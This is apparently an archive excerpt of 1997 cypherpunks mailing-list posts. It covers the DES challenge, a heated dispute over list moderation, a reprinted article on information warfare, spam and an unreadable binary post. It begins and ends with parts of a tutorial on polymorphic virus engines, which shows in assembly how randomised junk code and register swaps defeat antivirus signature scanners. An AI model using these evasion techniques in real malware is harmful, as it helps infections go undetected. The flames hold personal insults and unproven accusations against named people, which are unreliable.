SMEG generates the decryptor proper in the following way:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Inside SMEG there is a table containing a selection of common 8086
instructions used in decryptors, such as XOR [index],reg Etc.  These are,
again, stored in SKELETON FORM with some control bytes used by the decryptor
generator.  Also, inside SMEG, there are several pre-coded decryptors stored
in a compressed form.  On average, a complete decryptor can be described to
the decryptor generator in as few as 11 bytes and adding to the list of
pre-coded decryptors is both painless and economical with space!

SMEG generates the Polymorphed decryptor in the following way:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

First it chooses, at random, one of the pre-coded compressed decryptors. 
Next it goes into a loop uncompressing each decryptor instruction, plugging
in the required registers, storing it and then generating (for each real
instruction) a random amount of random instructions.  This loop repeats until
the complete decryptor has been constructed.  The final result is a random
size, random register, random patterned decryptor!

It should also be noted that whenever SMEG generates an INDEXed instruction
it uses either SI, DI or BX at random, also it sometimes uses a random offset.
For example, say the encrypted code started at address 10h, the following
could be used to index this address:

       MOV   SI,10h     ;Start address
       MOV   AL,[SI]    ;Index from initial address

But sometimes SMEG will generate something like the following, again based on
the encrypted code starting at address 10h:

       MOV   DI,0BFAAh      ;Indirect start address
       MOV   AL,[DI+4066h)  ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!

These indexed and initial values are picked at complete random, and the
examples of 0BFAAh and 4066h are valid, but next time they will be completely
different!

The following are two decryptors that were generated with my SMEG Polymorph
Engine.  It should be noted that I generated 4000 examples with no two alike!
Unfortunately I ran out of hard drive space!  But it is fairly safe to say
that the total number of decryptor combinations would run into the BILLIONS!

All the lines marked with ";junk" in the following listings indicate random
junk instructions that were inserted throughout the actual decryptor, note
that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as
well as general junk conditional jumps!  All lines marked with a * indicate
an actual part of the decryptor proper.  I chose the two generations shown
because their sizes were similar, 386 and 480 bytes.  SMEG produces
decryptors ranging in size from as little as 288 to as much as 1536 bytes.
Even if two decryptors are generated that are the same size the chances of
them being the same are, literally, billions to one!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Success@midlex.com ()
Date: Tue, 7 Jan 1997 02:16:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701071014.CAA22007@lithuania.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Àÿÿÿÿÿÿÿÿÿÿÿ¿ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿA€€;4­!H@˜åÊC¥Ð€EŒˆP†6  5 ‹
PP*²ÈLE€,3@$0-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 7 Jan 1997 10:08:47 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701071820.KAA03437@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


>  
> I'm still a bit nervous about what the reaction will be though - won't the 
> US government (and anyone else pushing DES) be able to say "It took 10,000 
> Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
> possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
> like can use that provided they hand over the keys in advance").
>  

	I'm nervous too, but consider "for only a $10k reward, look at
the effort people went through. People are using DES to protect things
*much* more valuable than $10k."

> Peter.
>  
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net 		    C2Net is having a party: http://www.c2.net/party/
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:27:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: An observation on the moderation thread.
In-Reply-To: <32D1FA5C.6D04@gte.net>
Message-ID: <0k46ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Roy M. Silvernail wrote:
> > Of passing interest: I'm seeing the majority of complaints about list
> > moderation only as they are quoted in others' replies, because the
> > origional complainents are already in my killfile.
> 
> So this jerk (number ???) admits the problem is already solved,
> then goes on to say "yeah, Sandy, block some more, just in case
> my killfile misses one".

What bothers this control freak is not the chance that something I
might say would end up in his mailbox (he can prevent it, although he
probably lies about having killfiled me), but my ability to speak to
other people interested in what I have to say.  He'd like to stop us
from exchanging private e-mail if he could.

> 
> You would have loved Hitler.  When he got wound up, everyone stood
> up and cheered.  Public TV still celebrates Henry Ford, one of
> Hitler's idols.  Schools for children in America still celebrate
> Andrew Jackson, genocidal racist though he was.
> 
> You're nothing new, Roy.  Just another fascistic voice calling for
> the Final Solution.
> 

Yes - have you read _Mein Kampf? I once posted an article showing a
great similarity between what Hitler advocated in 1926 and what the
"cypher punks" advocate now - just some quotes in parallel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation=YES
In-Reply-To: <199701070913.BAA17074@count04.mry.scruznet.com>
Message-ID: <ic56ZD6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com writes:

> soon you too will disappear :)

Yes - is this mailing list being censored by Sandy yet?

>   as to the budding facist comment
>   I got death threats and called
> traitor when I published PGP 1.0 and I endured
> 5 long years of federal harassment to listen to YOU???

You've done many good things Kelly.

>    no I dont think so...

But now you advocate censorship. If you don't want to listen to
Dale, it's your private choice (and your loss).  But you want to impose
your choice on others.  You don't want me to be able to listen to Dale or
Dale to be able to listen to me, even when it's out of your hearing.
You want Ray Arachelanian to be able to post lies about people and his
victims to be unable to refute his libel in the same forum.

I'm surprised and disappointed and I urge you to reconsider your position.

> PLEASE consider this an official request 
> to MODERATE the cypherpunks list
>    kelly goen - Publisher PGP 1.0 June 5 1991
>    
>    now it seems not only a traitor but a budding facist...

And that's really a pity.

> BTW this account is being deleted tonite and I will gladly resubscribe
> to a moderated list under a different name and host.domain than cypherpunk 

You mean your kelly@netcom.com lifetime account?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 08:28:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701070610.AAA02851@manifold.algebra.com>
Message-ID: <Do56ZD7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> You gave us another example of why charters that restrict moderators'
> ability to reject posts are good. In soc.culture.russian.moderated
> we had a similar problem (now resolved completely), when certain anonymous
> posters posted articles that looked like articles from newspapers.

Since not a lot of people on this list read soc.culture.*, I'll give a
slightly different view of how Igor's moderation works in practice.

The charter of s.c.r.m prohibits flames and gratuitous obscenities.
However this rule is not enforced.  Certain friends of Igor (including
some of the s.c.r.m moderators) habitually cross-post articles between
soc.culture.russian.moderated, soc.culture.russian (unmoderated), and
a dozen other newsgroups saying things like: "<The s.c.r FAQ maintainer>
is a cocksucker and a motherfucker and has been arrested for sexually
molesting small children".  The targets of the flames are not permitted
to respond on soc.culture.russian.moderated (there's a "blacklist" of
people whose submissions are junked automatically, w/o a human moderator
ever seeing them).  Some time ago Igor invited me to post to s.c.r.m.
I submitted an article and was given to understand that I'm not welcome
to post to s.c.r.m irrespective of what I have to say.

I'm sure that this model suits "cypher punks" well.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Tue, 7 Jan 1997 11:33:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701071855.KAA05718@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain



NOVEMBER 11, 1996 


INFORMATION WARFARE

U.S. sitting duck, DOD panel predicts

BY BOB BREWIN AND HEATHER HARRELD (antenna@fcw.com and heather_harreld@fcw.com)

The dependence of the United States on computers and communications systems to run its critical power, finance and transportation systems
places the country at risk in the event of an information warfare (IW) attack, according to a report prepared by a top-level Defense Department
advisory panel. This reliance, it said, has "created a tunnel of vulnerability previously unrealized in the history of conflict" and could have a
"catastrophic effect on the ability of [DOD] to fulfill its mission." 

The report of the Defense Science Board Task Force on Information Warfare-Defense (IW-D), obtained by Federal Computer Week, called the
threat of an IW attack "significant," adding that the nation's "vulnerabilities are numerous, [and] the countermeasures are extremely limited...." 

Citing a specific example, the DSB report said one building in Savannah, Ga., (a Bell South switching facility, FCW learned) houses not only a
vital communications hub but information technology systems supporting key electric power and transportation companies. Because Savannah
serves as a vital port of embarkation for Army troops based in that area, an IW attack against that one building would "make it impossible to
deploy military forces at the pace specified in operations plans." 

The DSB task force, chaired by two former assistant secretaries of Defense for command, control, communications and intelligence (ASD/C3I),
Duane Andrews and Donald Latham, viewed the IW problem as so severe that it urged the Pentagon to embark immediately on a crash course to
protect against this new form of warfare, providing detailed policy, funding and legal recommendations. 

These recommendations included a controversial call for the Pentagon to have the legal power to protect nongovernmental portions of the
infrastructure in the name of "the common defense." To defend DOD and critical nongovernmental systems against IW, the report recommends
new legal authority that will allow "DOD, law enforcement and intelligence agencies to conduct efficient, coordinated monitoring of attacks on the
critical civilian information infrastructure...." 

In carving out a position for DOD to take on this role in the civil sector, the report bluntly summed up the problem: "We should not forget
information warfare is a form of warfare, not a crime or an act of terror." It took an equally blunt approach on how the Pentagon should respond
to such an attack or intrusion. "The response could entail civil or criminal prosecution, use of military force...diplomatic initiatives or economic
mandates." 

DSB, which said it has urged immediate and concerted action on the IW-D front for the past three years, had a number of recommendations on
how DOD should get its own information warfare act together. The report said it would take $3 billion over the next five years to translate these
recommendations into reality. 

This includes establishing the ASD/C3I as the single focal point for IW-D within the department - a necessary step to spread the diffusion of IW
responsibilities among the services and Defense agencies, according to a source familiar with the thinking of the task force. Emmett Paige Jr.,
ASD/C3I, said he had read a copy of the DSB briefing to deputy secretary of Defense John White. Paige said, "I saw nothing in that briefing I do
not agree with. I strongly support everything in their briefing." 

DISA's Role
The Defense Information Systems Agency would take on a pivotal IW-D role, based on the recommendations in the report. It called for DISA to
set up an IW operations center to provide tactical warning, attack, assessment and emergency response with infrastructure restoration capabilities,
and it pegged funding for this center at $275 million over five years. DISA also should establish a joint office for system, network and
infrastructure design, the report said, with funding estimated at $225 million over five years. 

DISA director Lt. Gen. Al Edmonds has already acted on these recommendations, setting up last week a Global Operations and Security Center
and a Programs office (see Intercepts). 

Edmonds said DISA decided not to wait to have these recommendations approved. "We're doing this on our own. We want a new focus
here...and we're funding it out of our own budget [by] prioritizing on Information Warfare-Defense. The DSB is right on target, and they got us
rolling." 

The Pentagon also needs to refocus its IW research and development, the report said, recommending $580 million over five years. This poses a
tough challenge, DSB said, because "prior R&D efforts have been in areas such as computer and network security.... Little attention has been paid
to surviving willful malicious attack, or detecting and eliminating corrupt software." 

The DSB task force also took some potshots at some well-established and well-entrenched DOD IW policies and programs. Looking at the
national debate over the key escrow encryption systems backed by the Clinton administration, the DSB report dismissed encryption as a
"distraction.... Encryption simply does not solve all of the information security problems some are led to believe." 

The National Security Agency's long-running Multilevel-Secure Information Systems Security Initiative also received short shrift from the task
force, which suggested commercial products such as security "tokens" rather than passwords could go a long way in the near term toward
resolving DOD's security problems. 

The task force also brought sober realism to the theme of "information superiority" promulgated by all the services during the past several years to
such an extent that it has become almost a mantra. "The doctrine of information superiority assumes the availability of information and information
technology - a dangerous assumption.... Published service and joint doctrine does not address the operational implications of a failure of
information and technology," the report said. 

The intelligence community's ability to handle IW also came in for a similar assessment by the task force, which called IW "a nontraditional
intelligence problem [that is]...not easily discernible by traditional intelligence." Traditional intelligence skills "are largely irrelevant in the information
warfare environment." Percy Pierre, an electrical engineering professor at Michigan State University and a member of the DSB task force, said
DOD's interest in protecting critical infrastructure is a result of "the recognition that the Defense Department is dependent on private-sector assets
for logistical support and other types of support." 

Any move by government toward civil electronic defense must be delicately balanced to avoid antagonizing the private sector, said Winn
Schwartau, a security consultant and author of several information warfare books. 

"For them to blatantly say, `We want to monitor,' that creates a huge problem," he said. "If the government says, `You don't worry, private sector,
we're going to take care of you,' they're going to have a problem."



                                                                

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                                    If you haven't signed up yet, fill out the registration form.
                                   Mail questions about this Web page to webmaster@fcw.com.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 7 Jan 1997 13:29:14 -0800 (PST)
To: SButler@chemson.com
Subject: Re: FW: Modified Token Posting Scheme
Message-ID: <199701071914.LAA04906@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> >> How about this simple policy scheme:
> >>
> >>   1) posts from known list members forwarded to list automatically
> >>   2) posts with "approval cookie" also forwarded automatically
> >>   3) otherwise, forwarded only after approval by moderator,
> 
> 
> So does this mean that any personal attacks or useless and annoying
> drivel from the likes of Timmy May, Ray Arachelian and Sandy Sandford
> would be automatically forwarded to the mailing list even though they
> are frequently more annoying than the spam posted by the people who
> would be censored by Gilmore ?

No, just the opposite.  My scheme allows people to route around moderation
by authenticating their posts.  The goal here is to keep *random* stuff,
such as spam, off the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 7 Jan 1997 08:22:48 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FTC Online Privacy Report
In-Reply-To: <1.5.4.32.19970107133736.00682ea0@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970107111613.4634A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


The report is a summary of the June 4/5 meeting where the FTC heard from a
half-dozen panels of privacy advocates, consumer groups, and businesses.
I posted a note about it and the legislation swirling around it to
cypherpunks then, I believe.

The hearing/workshop was tense at times. The privacy advocates and firms
were at odds: companies proposed free-market solutions. The nonprofit
lobby groups said it wouldn't work. EPIC, for instance, is one of the
groups pushing for greater privacy protection through legislation and
regulation.

-Declan


On Tue, 7 Jan 1997, John Young wrote:

> The Federal Trade Commission released yesterday:
> 
> "Consumer Privacy on the Global Information Infrastructure" 
> 
>    http://www.ftc.gov/bcp/conline/pubs/privacy/privacy1.htm
> 
> Reuters 1-6-97:
> 
>   The Federal Trade Commission, which last year held a conference 
>   on privacy issues, said participants at the gathering agreed that 
>   businesses have four ways to protect consumer privacy:
> 
>   -- Notify consumers about how personal information collected online is
>   used.
> 
>   -- Give consumers a choice about whether and how their personal
>   information is used.
> 
>   -- Ensure the security of personal information is protected.
> 
>   -- Give consumers access to their own personal information to ensure its
>   accuracy.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 09:12:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation=YES
In-Reply-To: <32D223C1.7852@gte.net>
Message-ID: <9666ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> cypherpunks@count04.mry.scruznet.com wrote:
> > soon you too will disappear :)
> >   as to the budding facist comment
> >   I got death threats and called
> > traitor when I published PGP 1.0 and I endured
> > 5 long years of federal harassment to listen to YOU???
> >    no I dont think so...
> > PLEASE consider this an official request
> > to MODERATE the cypherpunks list
> >    kelly goen - Publisher PGP 1.0 June 5 1991
> >    now it seems not only a traitor but a budding facist...
> > BTW this account is being deleted tonite and I will gladly resubscribe
> > to a moderated list under a different name and host.domain than cypherpunk
> 
> So you endured the Nazi persecution, and then you became one of them.
> Congratulations.
> 


Isn't this known as "Stockhold syndrom" after some hostages who
became their captors' defenders?  It's a kind of defense reaction.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 7 Jan 1997 13:23:53 -0800 (PST)
To: sunder@brainlink.com
Subject: Re: Modified Token Posting Scheme
Message-ID: <199701071946.LAA05201@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > How about this simple policy scheme:
> > >
> > >   1) posts from known list members forwarded to list automatically
> > >   2) posts with "approval cookie" also forwarded automatically
> > >   3) otherwise, forwarded only after approval by moderator,
> > 
> > I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> > is approved automatically, and when a victim tries to defend himself
> > and to point out that Timmy May is a liar, the response is delayed
> > and probably rejected by the moderator.
> > 
> > It's been said that the best response to speech one doesn't like
> > is more speech. "Cypher punks" want to take away the victim's
> > ability to respond to the lies being posted on their mailing list.
> 
> You are far from being the victim of anything.  If anything you're a big 
> huge thug who spams the list, posts racist flames, posts homophobic 
> flames, uses social engineering to find out info on his "enemies" and 
> then posts that info online with requests that others send flames to that 
> person's employers.

Besides, in my scheme, the first two options are explicitly there to
avoid moderation.  Just post under your real name or generate an
authentication cookie.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 7 Jan 1997 09:06:23 -0800 (PST)
To: "Dimitri Vulis, spammer, racist and homophobe" <dlv@bwalk.dm.com>
Subject: Re: Moderation
In-Reply-To: <J445ZD5w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970107114827.29017B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dimitri Vulis, spammer, racist and homophobe wrote:

> When Ray Arachelian posts lies to this mailing list, he also forwards
> them to his censored mailing list. When the victims of Arachelian's
> libel refute his lies, Ray does not forward their responses to his
> mailing list. Sandy liked this setup so much, he wants the whole
> "cypher punks" mailing list to be censored this way.

"The grapes are probably Sour" says Vileus.

Sorry Kook, your spam doesn't make it to the filtered list, though I'd 
hate to admit it, your sane posts, the ones that you write once every 
blue moon, do in fact make it on the filtered list.  You are only 
complaining because people chose to not hear your inane spam, lies, 
racism, and blatant homophobic banter.

And no, my complaints about you, which you claim are lies, do not get 
sent to the filtered list, they get sent to your ISP for their racist slants.
 
> No wonder - "cypher punks" are opposed to wide availability of crypto,
> privacy, secure communications, and free speech in general. As they
> keep saying, free speech should only be available to the "elite" who
> will use it "responsibly" - no free speech for Jews or homophobes.

Hey, if you want cypherpunks mail with spam, subscribe to 
cypherpunks@toad.com, want it without spam, subscribe to one of the 
filtered lists.  Since filtering will soon be done at toad.com, you will 
have the choice there.

Oh, of course, since you spammed the list with so much vitriol and flames,
you can't subscribe, so you'll just have to get your cypherpunks mail
under a pseudonym, or from usenet or the web archives or whatever.  Also, 
since you do not consider yourself a cypherpunk, nor are on the list 
(except to flame it), your oppinions are as useful as a steering wheel on 
a fish's tail.

As for being a Jew or a homophobe, you are welcome to be whatever it is
you like to be, even an Armenian hating racist, and you are free to
discuss your religion, ethnicity, racism, and sexual prefrences with
whomever you want in the appropriate forums - if they happen to have cyrpo
relavance, feel free to post them here, otherwise find another place to
vent your angst.  Hell, you are free to create al.fan.vulis and discuss 
yourself there! Cypherpunks is for crypto-anarchy oriented posts ONLY 
regardless of what you claim, believe or bitch.

Sorry Vulis, your lies don't fool anyone.  Don't quit your day job - if 
you have one.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 7 Jan 1997 09:17:30 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <ss45ZD4w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970107121200.29778A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ed.falk@Eng.Sun.COM (Ed Falk) writes:
> 
> > How about this simple policy scheme:
> >
> >   1) posts from known list members forwarded to list automatically
> >   2) posts with "approval cookie" also forwarded automatically
> >   3) otherwise, forwarded only after approval by moderator,
> 
> I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> is approved automatically, and when a victim tries to defend himself
> and to point out that Timmy May is a liar, the response is delayed
> and probably rejected by the moderator.
> 
> It's been said that the best response to speech one doesn't like
> is more speech. "Cypher punks" want to take away the victim's
> ability to respond to the lies being posted on their mailing list.

You are far from being the victim of anything.  If anything you're a big 
huge thug who spams the list, posts racist flames, posts homophobic 
flames, uses social engineering to find out info on his "enemies" and 
then posts that info online with requests that others send flames to that 
person's employers.

These are plain facts, and if anyone wants to verify them, all they need 
do is a net search on the word "Vulis"

Your only reason for bitching here is that your glorious spams will no 
longer be posted to the list which you've been kicked off of for abuse, 
and continue to abuse.



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "rgwjr" <rgw@bellsouth.net>
Date: Tue, 7 Jan 1997 14:02:01 -0800 (PST)
To: rgw@bellsouth.net
Subject: American Cyber Mall
Message-ID: <199701071826.NAA15593@mail.mia.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


AMERICAN  CYBER  MALL
http://www.usacm.com

FREE WEB PAGE CONTEST, WEEKLY DRAWING !!!

Visit the American Cyber Mall
http://www.usacm.com
and you can register to win a FREE web page
with FREE 12 months hosting !!!

Just our way of say thanks for visiting our new
award winning cyber mall.

American Cyber Mall     http://www.usacm.com

TO BE REMOVED FROM LIST  REPLY WITH SUBJECT = REMOVE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Tunnicliffe <intaus2@ois.net.au>
Date: Mon, 6 Jan 1997 21:20:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PWL's how ?
Message-ID: <199701070519.NAA00657@hawk.ois.net.au>
MIME-Version: 1.0
Content-Type: text/plain


At 21:34 2/01/97 -0500, you wrote:
>How has the Windows PWL's been de-crytped ?  
>
>Also I don't like to seem too much like a rookie, but was is  a polymorphic
>virus ?
>                   .           Marc Theriault     *       .   *          +
>   *      .    *             Email: WILL@BBSI.NET        *    .   * .
>                   .+                ___            .
> .    *   +             ___....-----'---'-----....___        .    .
>                  =========================================       +  *
>   *           .         ___'---..._______...---'___        * .    .    
>

Read this for an understanding of a polymorhphic virus:

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ"
º A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE º
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ1/4

A small glossary of terms:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

      ENCRYPT     = Transform from it's original form to an altered form.
      DECRYPT     = Transform from it's altered form to it's original form.
      KEY         = The register or value used to encrypt/decrypt with.
      SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop.
      COUNT       = The number of bytes in the encrypted code or data.
      INDEX       = A pointer to the encrypted code or data.
      SIGNATURE   = A unique group of bytes that can be used to check against
                    a programs content in the hope of detecting a particular
                    program.
      HEURISTIC   = A set of well defined rules to apply to a problem in the
                    hope of achieving a known result.

Question:  What is a Polymorph?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Answer:    Well, the Longman English Dictionary defines it as:

   "POLYMORPHOUS also POLYMORPHIC adj fml or tech.
     EXISTING IN VARIOUS DIFFERENT FORMS."

In other words, something that has the ability to change it's shape.  Other
ways to describe such a thing might be;  Mutable, Metamorphic, Etc...

Question:  What is a Polymorph Engine?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Answer:    A program with the abilities to encrypt (or jumble up) another
           program or data and provide a unique decryptor for it, it must
           do this in such a way that no two encryptions of the same program
           or data will look alike.

Example:  Take the following ultra-simple decryptor:

               MOV      SI,jumbled_data     ;Point to the jumbled data
               MOV      CX,10               ;Ten bytes to decrypt
main_loop:     XOR      BYTE PTR [SI],55    ;XOR (un_scramble!) a byte
               INC      SI                  ;Next byte
               LOOP     main_loop           ;Loop for the 9 remaining bytes

This small program will XOR the ten bytes at the location pointed to by SI
with the value 55.  Providing the ten bytes were XORed with 55 prior to
running this decryptor the ten bytes will be restored to their original
state.  If you are unsure as to why this is, brush up on your XOR logic!!

Ok, so you might say that if you change the KEY value on each generation it
will become Polymorphic?  Well, yes and no!  If you did that, the encrypted
portion would be Polymorphic, but the decryptor would still remain mostly the
same, the only change begin the KEY value!  So, a signature scanner that
allows WILDCARDS (and most do!) would still be able to find your decryptor!

One way you could fool some signature scanners is to swap around some of the
instructions.  So, with this in mind, the above decryptor might look like:

               MOV      CX,10
               MOV      SI,jumbled_data
main_loop:     XOR      BYTE PTR [SI],55
               INC      SI
               LOOP     main_loop

As you can see, still not much of a change, not really enough to fool some of
the better signature scanners.

"GET TO THE POINT!  WHAT IS A TRUE POLYMORPH?", I hear you cry!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Well, a "true" Polymorph would be a decryptor that looks completely different
on each generation!  Take the following decryptor:

               MOV      CX,10
               NOP
               NOP
               MOV      SI,jumbled_data
               NOP
main_loop:     NOP
               NOP
               XOR      BYTE PTR [SI],55
               NOP
               INC      SI
               NOP
               NOP
               NOP
               NOP
               LOOP     main_loop

This decryptor is the same as the one before it, but it has has a few random
NOP instructions peppered throughout itself.  On each generation you would
vary the amount of NOPs after each instruction.  This is a Polymorph in it's
simplest form.  Still, most of the good signature scanners would have no
problem with such a simple Polymorph.  They would simply skip the NOPs, thus
having a clear view of the decryptor, to which they could apply a signature!

No, a "true" Polymorph has to be far far more complex then this!  Instead of
peppering NOPs throughout the decryptor it would pepper totally random amounts
of totally random 8086 instructions, including JUMPS and CALLS.  It would
also use a different main decryptor (possibly from a selection of pre-coded
ones) and would alter all the registers that the decryptor uses on each
generation, making sure that the JUNK code that it generates doesn't destroy
any of the registers used by the real decryptor!  So, with these rules in
mind, here is our simple decryptor again:

               MOV      DX,10              ;Real part of the decryptor!  
               MOV      SI,1234            ;junk
               AND      AX,[SI+1234]       ;junk
               CLD                         ;junk
               MOV      DI,jumbled_data    ;Real part of the decryptor!
               TEST     [SI+1234],BL       ;junk
               OR       AL,CL              ;junk
main_loop:     ADD      SI,SI              ;junk instruction, real loop!
               XOR      AX,1234            ;junk
               XOR      BYTE PTR [DI],55   ;Real part of the decryptor!
               SUB      SI,123             ;junk
               INC      DI                 ;Real part of the decryptor!
               TEST     DX,1234            ;junk
               AND      AL,[BP+1234]       ;junk
               DEC      DX                 ;Real part of the decryptor!
               NOP                         ;junk
               XOR      AX,DX              ;junk
               SBB      AX,[SI+1234]       ;junk
               AND      DX,DX              ;Real part of the decryptor!
               JNZ      main_loop          ;Real part of the decryptor!

As you should be able to see, quite a mess!!  But, still executable code.
It is essential that any junk code generated by the Polymorph Engine is
executable, as it is going to be peppered throughout the decryptor.  Note, in
this example, that some of the junk instructions use registers that we are
using in the decryptor!  This is fine, providing the values in these
registers aren't destroyed.  Also note, that now we have random registers and
random instructions on each generation it makes signature scanning (even for
the clever signature scanners) impossible!  Instead, an HEURISTIC method must
be used, which can lead to false alarms.

So, a Polymorph Engine can be summed up into three major parts:
